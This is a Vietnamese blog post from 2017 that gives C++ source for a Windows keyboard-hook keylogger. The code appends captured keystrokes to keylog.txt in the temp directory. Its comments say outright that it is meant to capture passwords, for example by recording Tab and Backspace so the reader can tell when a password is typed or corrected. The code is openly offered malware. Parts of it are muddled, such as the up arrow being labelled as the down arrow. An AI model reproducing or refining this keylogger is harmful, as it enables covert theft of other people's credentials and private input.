click hộ phát

Thứ Tư, 9 tháng 8, 2017

Đọc kí tự paste vào file -> troll gian các kí tự đặc biệt

  1. #include <windows.h>
  2. #include <fstream>
  3. using namespace std;
  4. #ifdef _DEBUG
  5. #define new DEBUG_NEW
  6. #undef THIS_FILE
  7. static char THIS_FILE[] = __FILE__;
  8. #endif
  9. #pragma data_seg(".SHARDAT")
  10. char *SaveFile()
  11. {
  12.     char s[255];
  13.     static char pth[255];
  14.     GetTempPath(255,pth);
  15.     lstrcpy(s,"keylog.txt");
  16.     lstrcat(pth,s);
  17.     return pth;
  18. }
  19. //Mo File
  20. fstream File;//khai bao File
  21. LRESULT _stdcall CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
  22. {
  23.     char ch,chuoi[20];
  24.     if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))  //neu ban an phim
  25.     {
  26.         if ((wParam==VK_LEFT )|| (wParam==VK_HOME )|| (wParam==VK_END )||(wParam==VK_NEXT )||(wParam==VK_UP)|| (wParam==VK_RIGHT)||(wParam==VK_DOWN)||(wParam==VK_DELETE)||(wParam==VK_LBUTTON)||(wParam==VK_RBUTTON )||(wParam==VK_MENU)||(wParam==VK_CANCEL )||(wParam==VK_CONTROL)||(wParam==VK_SHIFT)||(wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100))||(wParam==VK_TAB)||(wParam==VK_CLEAR)||(wParam==VK_BACK))
  27.         // ghi chu VK_RETURN : ENTER , VK_TAB : tab ,day la ma phim ao chi tiet doc
  28.          // ms-help://MS.MSDNQTR.v90.en/winui/winui/WindowsUserInterface/UserInput/VirtualKeyCodes.htm
  29.         {
  30.             File.open(SaveFile(),ios::out|ios::app);
  31.             if (wParam==VK_RETURN)  //neu la phim Enter thi xuong dong
  32.             {
  33.                  ch = '\n';//gan ky tu xuong dong
  34.                  File.write(&ch,sizeof(ch)); //ghi ra
  35.             }
  36.             else if (wParam==VK_TAB)  //neu la dau TAB
  37.             {
  38.                 lstrcpy(chuoi,"{TAB}");
  39.                 File<<chuoi;  //ghi ra nit TAB de Biet khi danh password :D
  40.             }  
  41.             else if (wParam==VK_CLEAR)
  42.             {
  43.                 lstrcpy(chuoi,"{CLEAR}");
  44.                 File<<chuoi;
  45.             }
  46.             else if (wParam==VK_BACK)
  47.             {  
  48.                 lstrcpy(chuoi,"{BACK}");  //neu xoa thi bao 1 tieng,de phong luc danh password sai ho danh lai
  49.                 File<<chuoi;
  50.             }
  51.             else if(wParam==VK_SPACE)
  52.             {
  53.                 lstrcpy(chuoi," ");  // nut cach
  54.                 File<<chuoi;
  55.             }
  56.             else if (wParam==VK_SHIFT)
  57.             {
  58.                 lstrcpy(chuoi,"{SHIFT}");  // shift
  59.                 File<<chuoi;
  60.             }
  61.             else if (wParam==VK_CONTROL)
  62.             {
  63.                 lstrcpy(chuoi,"{CONTROL}");  // nut control
  64.                 File<<chuoi;
  65.             }
  66.             else if (wParam==VK_LEFT )
  67.             {
  68.                 lstrcpy(chuoi,"{<-}");  // nut sang trai
  69.                 File<<chuoi;
  70.             }
  71.             else if (wParam==VK_HOME  )
  72.             {
  73.                 lstrcpy(chuoi,"{Home}");  // nut Home
  74.                 File<<chuoi;
  75.             }
  76.             else if (wParam==VK_END )
  77.             {
  78.                 lstrcpy(chuoi,"{END}");  //
  79.                 File<<chuoi;
  80.             }
  81.             else if ((wParam==VK_NEXT ))
  82.             {
  83.                 lstrcpy(chuoi,"{PAGEDOWN}");  //
  84.                 File<<chuoi;
  85.             }
  86.             else if ((wParam==VK_UP) )
  87.             {
  88.                 lstrcpy(chuoi,"{MuiTenXuong}");  //
  89.                 File<<chuoi;
  90.             }
  91.             else if ((wParam==VK_RIGHT))
  92.             {
  93.                 lstrcpy(chuoi,"{->}");  //
  94.                 File<<chuoi;
  95.             }
  96.             else if ((wParam==VK_DOWN))
  97.             {
  98.                 lstrcpy(chuoi,"{MuiTenXuong}");  //
  99.                 File<<chuoi;
  100.             }
  101.             else if ((wParam==VK_DELETE))
  102.             {
  103.                 lstrcpy(chuoi,"{Delete}");  //
  104.                 File<<chuoi;
  105.             }
  106.             else if ((wParam==VK_LBUTTON))
  107.             {
  108.                 lstrcpy(chuoi,"{ChuotTrai}");  //
  109.                 File<<chuoi;
  110.             }
  111.             else if ((wParam==VK_RBUTTON ))
  112.             {
  113.                 lstrcpy(chuoi,"{ChuotPhai}");  //
  114.                 File<<chuoi;
  115.             }
  116.             else if ((wParam==VK_MENU))
  117.             {
  118.                 lstrcpy(chuoi,"{ALT}");  //
  119.                 File<<chuoi;
  120.             }
  121.             else if ((wParam==VK_CANCEL ))
  122.             {
  123.                 lstrcpy(chuoi,"{Break}");  //
  124.                 File<<chuoi;
  125.             }
  126.             else if(wParam>=0x30&&wParam<= 0x5A)  //neu la cac nut tu 0 --> 9 hoac tu a -> Z
  127.             {
  128.                  BYTE ks[256];  
  129.                  GetKeyboardState(ks);  //lay ma Nut bamso
  130.                  WORD w;
  131.                  UINT scan;
  132.                  scan=0;
  133.                  ToAscii(wParam,scan,ks,&w,0);  //chuyen ma nut bam ra ma Ascii
  134.                  ch = char(w);
  135.                  File.write(&ch,sizeof(ch));//ghi ra File cac chu cai tim duoc
  136.             }
  137.             //khong ghi lai cac nut khac khong lien quan den viec danh password
  138.             File.close();//dong File,tiep tuc chu trinh( moi khi bam 1 phim lai mo File )
  139.         }
  140.     }
  141.     LRESULT RetVal = CallNextHookEx( NULL, nCode, wParam, lParam );  //call back tiep tuc
  142.     return RetVal;
  143. }

Không có nhận xét nào: